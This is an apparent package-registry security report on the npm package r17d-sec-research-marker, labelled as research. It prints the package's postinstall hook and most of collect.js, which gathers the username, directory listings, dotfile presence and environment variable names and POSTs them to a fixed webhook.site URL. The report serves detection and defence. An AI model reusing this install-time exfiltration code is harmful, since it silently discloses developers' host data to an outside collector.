registry / Data exfiltration / r17d-sec-research-marker
r17d-sec-research-marker
SECURITY RESEARCH POC MARKER - install-script execution test in managed dev sandboxes. Labeled; unpublished immediately after verification. Collects metadata only (usernames, directory listings, file EXISTENCE). No secret values, no persistence.
This report shows the evidence for r17d-sec-research-marker@1.0.0, the only known version.
AI Security Review
scanned 6d ago · by lpm-firewall-aiThe package performs automatic install-time disclosure of identifying host and project metadata to a fixed external collector. The verified lifecycle trigger, collection, and send support blocking publication.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Installing the package triggers its postinstall script.
Impact
Installation discloses host and project metadata to an unrelated external recipient.
Mechanism
The script gathers usernames, directory listings, selected dotfile presence, and environment variable names, then POSTs the serialized data to a fixed webhook endpoint without a consent check.
Attack narrative
On installation, the postinstall hook runs a script that collects host and project metadata, including the username, directory listings, and environment variable names. It sends that data to a fixed external webhook without an installer consent check.
AI rationale
The package performs automatic install-time disclosure of identifying host and project metadata to a fixed external collector. The verified lifecycle trigger, collection, and send support blocking publication.
Evidence
package.jsoncollect.js
Network endpoints1
webhook.site/f18b2445-73d1-478a-9d3f-1cb21a407c61
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs `collect.js` automatically after installation.
- The script collects the username, kernel release, home and current-directory listings, selected dotfile presence, and environment variable names.
- It serializes the collected metadata and sends it in a POST request to a fixed `webhook.site` endpoint, then ends the request without a consent check.
Evidence against
Behavioral surface
ChildProcessEnvironmentVarsFilesystemNetworkShell
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node collect.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgcollect.jsView file
1// SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
L4: let meta = { marker: 'r17d-victim-vm', repo: 'npm[redacted]', ts: new Date().toISOString() };
L5: try { meta.whoami = os.userInfo().username; meta.kernel = os.release(); } catch (e) {}
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L10: meta.dotfiles = ['.npmrc','.gitconfig','.novus','.config/gh'].map(p => p + '=' + (fs.existsSync(h + '/' + p) ? 'present' : 'absent')).join(' ');
L11: meta.envNames = Object.keys(process.env).sort().join(',');
L12: } catch (e) { meta.err
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
collect.jsView on unpkg · L1Findings
2 Critical8 High3 Medium2 Low
CriticalHardcoded Runtime Data Exfiltrationcollect.js
CriticalTrigger Reachable Dangerous Capabilitycollect.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processcollect.js
HighShell
HighSame File Env Network Executioncollect.js
HighHost Fingerprint Exfiltrationcollect.js
HighCommand Output Exfiltrationcollect.js
HighTrigger Reachable Command Output Exfiltrationcollect.js
HighTrigger Reachable External Post Callbackcollect.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
Affected versions and remediation
This report applies to r17d-sec-research-marker@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing r17d-sec-research-marker@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.